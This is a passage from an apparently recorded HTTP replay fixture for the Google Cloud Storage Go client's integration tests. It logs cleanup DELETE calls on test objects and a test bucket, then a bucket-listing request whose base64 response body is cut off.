"AEnB2Upola6CIBa9ONjl53PxMpFGQkHvYEau96KG2mgCmUDWDhxZKCw0T58QQRx8OIJW5sisH_acrPcg2o-LLdJgOxCtlVSw-t6wGisVL2-TSopEuezgmu4" - ] - }, - "Body": "" - } - }, - { - "ID": "12186a37ecd09333", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/obj2?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:37 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpFxLaOTSsPe7hDbzBznGCoZvAUmeNgWBwS45X2j3rpLlk8_MIFFuCa-aBpAM83d23ixudKpklnhiqCcrQQotCUZhkrMLpWLHBJdmcM0d5rCKL6opY" - ] - }, - "Body": "" - } - }, - { - "ID": "e7a92beca78e4ec6", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/posc?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:37 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrpITV4ogt1-_eCsp0KFz7tVeM2A4FzSevs8Q0BPZ36nEPrP9aAaB4nfWASzLZgi2hNM1l9eFkf5UbYYWDT5J-nQFCapVNcm_4Nr43yd94Ce95SVps" - ] - }, - "Body": "" - } - }, - { - "ID": "5bb0506f3ca9135d", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/posc2?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:38 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqFBt86Wz7Oqelsb0pPpIskBYdMYLR3XuBmD2F5DwyXt84Q1AUyL0Q94YtqTJP1yzgohHCkJWSGibqUARgP8Ilv9v4lVipsdfjSdFHgIjFJ1H-vuU4" - ] - }, - "Body": "" - } - }, - { - "ID": "3ea05ac204d7a112", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/signedURL?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:38 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Up2mLLaTTO-0iqVf4m8WXPEsP-mHlaS6hz_gavjGI5yzU0jCjBNDRw1gj6Wa_cQIBzfjytwP2XYhBIJeAglwa6Uqv87WhzeqgGXt4u820FuZKVgY-w" - ] - }, - "Body": "" - } - }, - { - "ID": "bed8580dc40e850e", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/some-object?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:38 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UodR7nshMeihBskPB6loBZoNDRFEUxojhFCKhQ0NpiEMRHY0ZHU8ncI4Sr7FHUmIDXyK8xVg_I7Qt5ESrqnGmRzW0h1eM8OGfEM-3weHyzMqN-VMik" - ] - }, - "Body": "" - } - }, - { - "ID": "57489f1d9de0ddb8", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/zero-object?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:38 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqxQ_NSeD-rrAbZXERIaDr3_1wDC_RZ4MyuFZnOhdDqLkn4qub7rAIamqSQKDD8-jbn0c3XmxvowTghxhq4tZaxxHTmYJtB_FPvJxRZtCt3Leugx4g" - ] - }, - "Body": "" - } - }, - { - "ID": "006b3176688c0ac8", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:26:38 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uo4l8LfaJI78MH37sa7nOmY2A8EB4paZccrewnIFFud-pwGLeVf067ZiRaBAOAPsPYlaxxtsr6gtECA6UY0xiUBHPTLFOe4VNnNQpniNWYJEfZ1-I8" - ] - }, - "Body": "" - } - }, - { - "ID": "a853ce25e734dbfd", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026pageToken=\u0026prefix=go-integration-test\u0026prettyPrint=false\u0026project=deklerk-sandbox\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "47300" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:26:39 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:26:39 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrnXhEY-kWgvl-XqP1kXnVDpQphHD9znE-EyBBlFT-kHZtXEsAW5QG5PuzlaJPfQUwZqnTHP0wxu6YDbRCgDMB31UR760_lfEiX88PtVKIdTgCWm5A" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXRzIiwiaXRlbXMiOlt7ImtpbmQiOiJzdG9yYWdlI2J1Y2tldCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi02NjU5NzcwNTEzMzE0Ni0wMDAxIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi02NjU5NzcwNTEzMzE0Ni0wMDAxIiwicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsIm5hbWUiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTY2NTk3NzA1MTMzMTQ2LTAwMDEiLCJ0aW1lQ3JlYXRlZCI6IjIwMTktMDUtMDJUMTg6Mjk6NTguNjAxWiIsInVwZGF0ZWQiOiIyMDE5LTA1LTAyVDE4OjI5OjU4LjYwMVoiLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI2J1Y2tldEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItNjY1OTc3MDUxMzMxNDYtMDAwMS9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTY2NTk3NzA1MTMzMTQ2LTAwMDEvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItNjY1OTc3MDUxMzMxNDYtMDAwMSIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTY2NTk3NzA1MTMzMTQ2LTAwMDEvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItNjY1OTc3MDUxMzMxNDYtMDAwMS9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItNjY1OTc3MDUxMzMxNDYtMDAwMSIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI2J1Y2tldEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItNjY1OTc3MDUxMzMxNDYtMDAwMS9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi02NjU5NzcwNTEzMzE0Ni0wMDAxL2FjbC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi02NjU5NzcwNTEzMzE0Ni0wMDAxIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBRT0ifV0sImRlZmF1bHRPYmplY3RBY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0FFPSJ9XSwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sIm93bmVyIjp7ImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCJ9LCJsb2NhdGlvbiI6IlVTIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0IiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTY2NjExNTA2OTA3NjAyLTAwMDEiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTY2NjExNTA2OTA3NjAyLTAwMDEiLCJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwibmFtZSI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItNjY2MTE1MDY5MDc2MDItMDAwMSIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQxODozMDoxMi4yNjRaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMTg6MzA6MTIuMjY0WiIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImFjbCI6W3sia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi02NjYxMTUwNjkwNzYwMi0wMDAxL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItNjY2MTE1MDY5MDc2MDItMDAwMS9hY2wvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi02NjYxMTUwNjkwNzYwMi0wMDAxIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI2J1Y2tldEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItNjY2MTE1MDY5MDc2MDItMDAwMS9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi02NjYxMTUwNjkwNzYwMi0wMDAxL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi02NjYxMTUwNjkwNzYwMi0wMDAxIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi02NjYxMTUwNjkwNzYwMi0wMDAxL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTY2NjExNTA2OTA3NjAyLTAwMDEvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTY2NjExNTA2OTA3NjAyLTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0FFPSJ9XSwiZGVmYXVsdE9iamVjdEFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUU9In1dLCJpYW1Db25maWd1cmF0aW9uIjp7ImJ1Y2tldFBvbGljeU9ubHkiOnsiZW5hYmxlZCI6ZmFsc2V9fSwib3duZXIiOnsiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0In0sImxvY2F0aW9uIjoiVVMiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItNjY2MzM5NjU0MjA4MTgtMDAwMSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItNjY2MzM5NjU0MjA4MTgtMDAwMSIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi02NjYzMzk2NTQyMDgxOC0wMDAxIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDE4OjMwOjM0LjY2MloiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQxODozMDozNC42NjJaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTY2NjMzOTY1NDIwODE4LTAwMDEvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi02NjYzMzk2NTQyMDgxOC0wMDAxL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTY2NjMzOTY1NDIwODE4LTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi02NjYzMzk2NTQyMDgxOC0wMDAxL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTY2NjMzOTY1NDIwODE4LTAwMDEvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTY2NjMzOTY1NDIwODE4LTAwMDEiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTY2NjMzOTY1NDIwODE4LTAwMDEvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItNjY2MzM5NjU0MjA4MTgtMDAwMS9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItNjY2MzM5NjU0MjA4MTgtMDAwMSIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUU9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3